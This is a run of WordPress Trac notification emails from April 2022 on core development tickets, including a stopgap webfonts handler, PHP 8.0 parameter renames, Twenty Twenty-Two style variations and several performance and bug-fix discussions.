2022-04-26 at 15.39.56.png" added. After -- Ticket URL: <https://core.trac.wordpress.org/ticket/55621> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:46:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:46:51 -0000 Subject: [wp-trac] [WordPress Trac] #46370: A proposal for creating an API to register and enqueue web fonts In-Reply-To: <058.0e849eb202007a4f061e32686152d179@wordpress.org> References: <058.0e849eb202007a4f061e32686152d179@wordpress.org> Message-ID: <073.deb6ea53b234bd67ad5cf7575a6f4c36@wordpress.org> #46370: A proposal for creating an API to register and enqueue web fonts -------------------------------------------------+------------------------- Reporter: jonoaldersonwp | Owner: | hellofromTonya Type: feature request | Status: assigned Priority: normal | Milestone: Future | Release Component: General | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance, privacy -------------------------------------------------+------------------------- Comment (by hellofromTonya): In [changeset:"53282" 53282]: {{{ #!CommitTicketReference repository="" revision="53282" Themes: Add internal-only theme.json's webfonts handler (stopgap). Adds `_wp_theme_json_webfonts_handler()` for handling `fontFace` declarations in a theme's `theme.json` file to generate the `@font-face` styles for both the editor and front-end. Design notes: * It is not a public API, but rather an internal, Core-only handler. * It is a stopgap implementation that will be replaced when the public Webfonts API is introduced in Core. * The code design is intentional, albeit funky, with the purpose of avoiding backwards-compatibility issues when the public Webfonts API is introduced in Core. * It hides the inter-workings. * Does not exposing API ins and outs for external consumption. * Only works for `theme.json`. * Does not provide registration or enqueuing access for plugins. For more context on the decision to include this stopgap and the Webfonts API, see: * Core's PR 40493 https://github.com/WordPress/gutenberg/pull/40493 * Gutenberg's tracking issue 40472 https://github.com/WordPress/gutenberg/issues/40472 Props aristath, hellofromTonya, peterwilsoncc, costdev, jffng, zieladam, gziolo, bph, jonoaldersonwp, desrosj. See #55567, #46370. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/46370#comment:126> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:46:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:46:51 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.28994cb1fd2b209f0617a1b810766b99@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg --------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by hellofromTonya): In [changeset:"53282" 53282]: {{{ #!CommitTicketReference repository="" revision="53282" Themes: Add internal-only theme.json's webfonts handler (stopgap). Adds `_wp_theme_json_webfonts_handler()` for handling `fontFace` declarations in a theme's `theme.json` file to generate the `@font-face` styles for both the editor and front-end. Design notes: * It is not a public API, but rather an internal, Core-only handler. * It is a stopgap implementation that will be replaced when the public Webfonts API is introduced in Core. * The code design is intentional, albeit funky, with the purpose of avoiding backwards-compatibility issues when the public Webfonts API is introduced in Core. * It hides the inter-workings. * Does not exposing API ins and outs for external consumption. * Only works for `theme.json`. * Does not provide registration or enqueuing access for plugins. For more context on the decision to include this stopgap and the Webfonts API, see: * Core's PR 40493 https://github.com/WordPress/gutenberg/pull/40493 * Gutenberg's tracking issue 40472 https://github.com/WordPress/gutenberg/issues/40472 Props aristath, hellofromTonya, peterwilsoncc, costdev, jffng, zieladam, gziolo, bph, jonoaldersonwp, desrosj. See #55567, #46370. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:50> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:48:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:48:00 -0000 Subject: [wp-trac] [WordPress Trac] #55621: Prime user meta in User REST API endpoint In-Reply-To: <056.760a4daff167a2f18d8fd3931c64584d@wordpress.org> References: <056.760a4daff167a2f18d8fd3931c64584d@wordpress.org> Message-ID: <071.178134b1b2437b0eed4983a6df5e80d4@wordpress.org> #55621: Prime user meta in User REST API endpoint --------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch | Focuses: performance --------------------------+------------------------------ Comment (by spacedmonkey): It is worth noting that in [https://github.com/WordPress/wordpress- develop/blob/60cb20c4cc48b8de808cd307128dd171f05454ae/src/wp- admin/includes/class-wp-ms-users-list-table.php#L54 WP_MS_Users_List_Table] and [https://github.com/WordPress/wordpress- develop/blob/1cb0e9ced6d924a46d153c49ccb9856120ebb7ff/src/wp- admin/includes/class-wp-users-list-table.php#L96-L112 WP_MS_Users_List_Table] pass the `'fields' => 'all_with_meta',`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55621#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:54:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:54:52 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.5e3706f67ea71e7ec8629c1422e2eabe@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53283" 53283]: {{{ #!CommitTicketReference repository="" revision="53283" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class.wp-scripts.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$echo` parameter to `$display` in `WP_Scripts` class methods. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273], [53274], [53275], [53276], [53277], [53281]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:57> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:57:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:57:55 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.5fe67cad25df81608a321e1557913ee2@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53284" 53284]: {{{ #!CommitTicketReference repository="" revision="53284" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class.wp-styles.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$echo` parameter to `$display` in `WP_Styles` class methods. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273], [53274], [53275], [53276], [53277], [53281], [53283]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:58> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:03:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:03:53 -0000 Subject: [wp-trac] [WordPress Trac] #54447: Site Icons on My Sites in multisite network causing performance issue In-Reply-To: <051.d687bf3f592aa0cf10f2ef4a5216d7a0@wordpress.org> References: <051.d687bf3f592aa0cf10f2ef4a5216d7a0@wordpress.org> Message-ID: <066.ce729832fc42632714aa44367cc5f672@wordpress.org> #54447: Site Icons on My Sites in multisite network causing performance issue --------------------------------------+------------------------------------ Reporter: wslyhbb | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Toolbar | Version: 5.8 Severity: normal | Resolution: fixed Keywords: has-patch needs-dev-note | Focuses: multisite, | performance --------------------------------------+------------------------------------ Changes (by sabernhardt): * keywords: has-patch commit assigned-for-commit => has-patch needs-dev- note -- Ticket URL: <https://core.trac.wordpress.org/ticket/54447#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:06:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:06:46 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.39c23b1e856837b9df5aa34d555449d5@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53285" 53285]: {{{ #!CommitTicketReference repository="" revision="53285" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/comment-template.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$class` parameter to `$css_class` in `comment_class()` and `get_comment_class()`. * Renames the `$echo` parameter to `$display` in `comment_class()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273], [53274], [53275], [53276], [53277], [53281], [53283], [53284]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:59> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:25:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:25:16 -0000 Subject: [wp-trac] [WordPress Trac] #55433: Twenty Twenty-Two: Implement alternate json files In-Reply-To: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> References: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> Message-ID: <065.054bddd714aca4a9a2494372d6caadff@wordpress.org> #55433: Twenty Twenty-Two: Implement alternate json files ---------------------------------------------+--------------------- Reporter: kjellr | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: needs-design-feedback has-patch | Focuses: ---------------------------------------------+--------------------- Comment (by jffng): In [changeset:"53286" 53286]: {{{ #!CommitTicketReference repository="" revision="53286" Twenty Twenty-Two: Add three style variations. This commit adds three style variations to Twenty Twenty-Two, allowing users to quickly swap between different visual styles — "Blue", "Pink", and "Swiss" — for the default theme. The variations are previewed and selected from the Site Editor's global styles panel. For the implementation, each variation is defined by its own theme.json file within the "/styles" directory of the theme. All variations leverage the internal-only theme.json handler of the Webfonts API [53282] to load locally hosted fonts. Props kjellr, hellofromtonya. See #55433. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55433#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:26:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:26:31 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.271286988204829c2d6f0609bdb8c24d@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53287" 53287]: {{{ #!CommitTicketReference repository="" revision="53287" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/deprecated.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$echo` parameter to `$display` in: * `the_category_ID()` * `get_author_link()` * `get_links()` * `get_category_rss_link()` * `get_author_rss_link()` * Renames the `$string` parameter to `$text` in `wp_specialchars()`. * Renames the `$string` parameter to `$message` in `debug_fwrite()`. * Renames the `$string` parameter to `$content` in `wp_kses_js_entities()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273], [53274], [53275], [53276], [53277], [53281], [53283], [53284], [53285]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:60> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:27:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:27:46 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.87e8783c87b9236e19b766c71f15361f@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-unit-tests needs-patch | Focuses: ----------------------------------------+--------------------- Changes (by kebbet): * keywords: has-patch has-unit-tests => has-unit-tests needs-patch Comment: 53282 introduced incorrect textdomain for l18n-strings, should be default, not 'gutenberg' -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:52> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:35:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:35:28 -0000 Subject: [wp-trac] [WordPress Trac] #46370: A proposal for creating an API to register and enqueue web fonts In-Reply-To: <058.0e849eb202007a4f061e32686152d179@wordpress.org> References: <058.0e849eb202007a4f061e32686152d179@wordpress.org> Message-ID: <073.6f20ddd08703dee9fdd6f4ccb5fd3a60@wordpress.org> #46370: A proposal for creating an API to register and enqueue web fonts -------------------------------------------------+------------------------- Reporter: jonoaldersonwp | Owner: | hellofromTonya Type: feature request | Status: assigned Priority: normal | Milestone: Future | Release Component: General | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance, privacy -------------------------------------------------+------------------------- Comment (by hellofromTonya): In [changeset:"53288" 53288]: {{{ #!CommitTicketReference repository="" revision="53288" Themes: Remove 'gutenberg' as translation context in `_wp_theme_json_webfonts_handler()`. Follow-up to [53282]. Props kebbet. See #55567, #46370. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/46370#comment:127> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:35:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:35:29 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.a68d64807ef012a9fd3b02033fbfc40e@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-unit-tests needs-patch | Focuses: ----------------------------------------+--------------------- Comment (by hellofromTonya): In [changeset:"53288" 53288]: {{{ #!CommitTicketReference repository="" revision="53288" Themes: Remove 'gutenberg' as translation context in `_wp_theme_json_webfonts_handler()`. Follow-up to [53282]. Props kebbet. See #55567, #46370. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:53> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:37:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:37:43 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.1f58bf654a947f7e09eb7732a481364f@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: ----------------------------+--------------------- Changes (by hellofromTonya): * keywords: has-unit-tests needs-patch => Comment: Replying to [comment:52 kebbet]: > 53282 introduced incorrect textdomain for l18n-strings, should be default, not 'gutenberg' Thank you @kebbet! Fixed in [53282]. Resetting keywords as all PRs / patches have been committed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:54> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:37:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:37:52 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.af46cc8fc8cff92e7d9b43d8b87879ec@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): Status overview: * [https://github.com/WordPress/wordpress-develop/pull/2427 PR #2427] and [https://github.com/WordPress/wordpress-develop/pull/2427 PR #2457] are committed. * [https://github.com/WordPress/wordpress-develop/pull/2484 PR #2484] is mostly committed, except for a few files that need a closer review to check whether the parameters there should be renamed or stay in line with the polyfilled functions, parent classes, etc. * `wp-includes/class-json.php` * `wp-includes/class-wp-text-diff-renderer-inline.php` * `wp-includes/class-wp-text-diff-renderer-table.php` * `wp-includes/compat.php` * [https://github.com/WordPress/wordpress-develop/pull/2530 PR #2530] and [https://github.com/WordPress/wordpress-develop/pull/2590 PR #2590] still need a review. The remaining work can be moved to 6.1, per comment:41. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:61> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 15:48:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 15:48:39 -0000 Subject: [wp-trac] [WordPress Trac] #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response In-Reply-To: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> References: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> Message-ID: <072.63726f5956ffbe4c2e43a52b1b123fc9@wordpress.org> #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response --------------------------------------+---------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: REST API | Version: trunk Severity: major | Resolution: Keywords: has-patch has-unit-tests | Focuses: rest-api --------------------------------------+---------------------------- Changes (by hellofromTonya): * keywords: needs-patch needs-unit-tests => has-patch has-unit-tests Comment: Updating the keywords. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55617#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 16:01:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 16:01:48 -0000 Subject: [wp-trac] [WordPress Trac] #55403: `wp_crop_image` returning incorrect file path when image formats filtered In-Reply-To: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> References: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> Message-ID: <067.5db964e1e2c36ae0acfde2c29c81e41f@wordpress.org> #55403: `wp_crop_image` returning incorrect file path when image formats filtered --------------------------------------+------------------------------ Reporter: Mat Lipe | Owner: adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: General | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+------------------------------ Comment (by adamsilverstein): @peterwilsoncc looks good to me, left a comment one one extra empty line otherwise good to go. Sorry wasn't able to review this more quickly, I'm mostly out of office this week. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55403#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 16:38:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 16:38:54 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.216863dcde4d8a041785189f2014c60a@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests needs-refresh | performance close | -------------------------------------+------------------------------------- Comment (by DJosephDesign): Replying to [comment:100 uzumymw]: > But what if more than half of the existing WordPress sites will never migrate to Gutenberg? > It is actually very possible. And in my case, the problem is from thousands of bbPress posts. And I suspect that bbPress will _never_ use Gutenberg. -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:101> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 18:40:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 18:40:37 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.31f0dadb87ef508ee3aad2d21feddb66@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests needs-refresh | performance close | -------------------------------------+------------------------------------- Comment (by johnjamesjacoby): Replying to [comment:101 DJosephDesign]: > I suspect that bbPress will _never_ use Gutenberg. Never say never? 😆 Aside: if this doesn’t get addressed in WordPress via this ticket, I think it’s perfectly acceptable to port a workaround to bbPress. -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:102> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 19:13:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 19:13:10 -0000 Subject: [wp-trac] [WordPress Trac] #54800: Nonce creation causes DB access errors when initializing multisite networks In-Reply-To: <054.bb6f2c9ac878c2aa78de7c0b1323c33e@wordpress.org> References: <054.bb6f2c9ac878c2aa78de7c0b1323c33e@wordpress.org> Message-ID: <069.ab28b2eed3e653652535ba35b5fe47c4@wordpress.org> #54800: Nonce creation causes DB access errors when initializing multisite networks -------------------------------------------------+------------------------- Reporter: schlessera | Owner: | peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Script Loader | Version: 5.0 Severity: normal | Resolution: fixed Keywords: has-patch has-testing-info fixed- | Focuses: major | -------------------------------------------------+------------------------- Comment (by azaozz): > Somewhat importantly, that last one is not exposed via the WordPress UI's as far as I know? Yea, think there is no way to install a multisite network directly. The only way is to install a single site first afaik, then upgrade it. This bug seems specific to WP CLI. Maybe worth another look there if installing a multisite network directly doesn't interfere somewhere else. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54800#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 19:50:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 19:50:47 -0000 Subject: [wp-trac] [WordPress Trac] #55403: `wp_crop_image` returning incorrect file path when image formats filtered In-Reply-To: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> References: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> Message-ID: <067.b87f5fc26d54d681912b94ccb8fe1b0e@wordpress.org> #55403: `wp_crop_image` returning incorrect file path when image formats filtered --------------------------------------+------------------------------ Reporter: Mat Lipe | Owner: adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: General | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+------------------------------ Comment (by Mat Lipe): All feedback in the pull request has been addressed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55403#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 20:58:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 20:58:01 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating In-Reply-To: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> References: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> Message-ID: <071.9139d8dcb1a7a9538daa98be160b4398@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------------------+--------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------------- Comment (by glendaviesnz): Ok, will take a look at adding these back sometime in the next few days. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 21:04:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 21:04:30 -0000 Subject: [wp-trac] [WordPress Trac] #55480: Add filter to modify description in plugin card In-Reply-To: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> References: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> Message-ID: <066.55af535f901ace1630956f3ef4b94735@wordpress.org> #55480: Add filter to modify description in plugin card ------------------------------------------+----------------------------- Reporter: afragen | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: fixed Keywords: has-patch add-to-field-guide | Focuses: administration ------------------------------------------+----------------------------- Comment (by afragen): @SergeyBiryukov I believe the reference for the `@param $plugin` is a reference to the output of a call to `plugins_api()` and not to the `plugin_row_meta` filter. Thanks @pbiron -- Ticket 